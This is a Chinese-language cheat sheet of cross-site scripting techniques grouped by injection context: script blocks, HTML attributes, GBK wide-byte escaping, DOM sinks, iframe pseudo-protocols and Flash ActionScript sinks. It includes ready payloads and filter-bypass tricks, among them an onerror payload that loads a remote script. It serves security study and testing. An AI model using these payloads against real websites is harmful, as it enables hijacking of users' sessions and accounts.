1.什么都没过滤的情况
①直接插入<script>alert(1)</script>
2.输出在<script></script>之间的情况
①没过滤尖括号,闭合<script>再插入一个<script>
②过滤了尖括号,<script>代码里的构造是的这一段JS依然语法正确
③没过滤反斜杠,转义引号后再行构造语
④没过滤换行符,输出在注释中%0a换行绕过
3.输出在HTML属性里的情况
①没过滤双引号,闭合双引号,再绑定事件
②过滤了双引号,在css中,\+ascii16进制形式绕过,如expr\65ssion。
③事件调用JS:<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='js地址';>
4.当页面是GB系列编码时,宽字节绕过
①当双引号被转义,%c0吃掉反斜杠,例:%c0%22.注入双引号
5. Dom Xss入门 [显式输出],输出在innerHTML或$("#y").html("xxxxxxx")的情况
①JS的字符串中的字符可以写为 unicode编码,例如:< 可以表示\x3c 或
\u003c , > 可以表示为 \u003e或\x3e
6. Dom Xss进阶
①输出不在页面中,在输入中添加特殊符号,如:单双引号 反斜杠,然后在
console中找错误,进而进入函数内部,输出可能在eval中
②输出在iframe的src中,各种伪协议如下↓
各种双引号内的伪协议: 1.1 最好懂的,onload执行js <iframe onload="alert(1)"></iframe> 1.2 src 执行javascript代码 <iframe src="javascript:alert(1)"></iframe> 1.3 IE下vbscript执行代码 <iframe src="vbscript:msgbox(1)"></iframe> 1.4 Chrome下data协议执行代码 <iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome 1.5 上面的变体 <iframe src="data:text/html,<script>alert(1)</script>"></iframe> 1.6 Chrome下srcdoc属性 <iframe srcdoc="<script>alert(1)</script>"></iframe>
7. Flash Xss入门
①找到存在缺陷的FLASH文件,步骤如下↓
②下载Flash文件,再反编译(反编译软件actionscript viewer 2009)然后把AS都保存出来,保存为文本文件。
③在AS中找危险函数,如下函数,若link是 "javascript:alert(1)"则导致xss
(as3.0版本) navigateToURL(new URLRequest(link), "_self"); (as2.0版本) getURL(link,"_self");
8.Flash Xss进阶 [ExternalInterface.call第一个参数]
①ExternalInterface.call,此函数作为FLASH与宿主页面javascript通信的接口,一般来说,有“2”个参数,第一个参数为所调用js函数名,后续的其他参数则为所调用的js函数的参数。那么在参数可控的情况下,不论是第一个参数或是后续参数可控,我们均能加以利用实现XSS
查找缺陷步骤:
1. 首先确定FLASH是否有接受参数 2. as3.0 接受参数的方法,所有参数存放在 root.loaderInfo.parameters 对象里。 3. 跟踪
ExternalInterface.call("函数名","参数1")实际是在执行:
try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }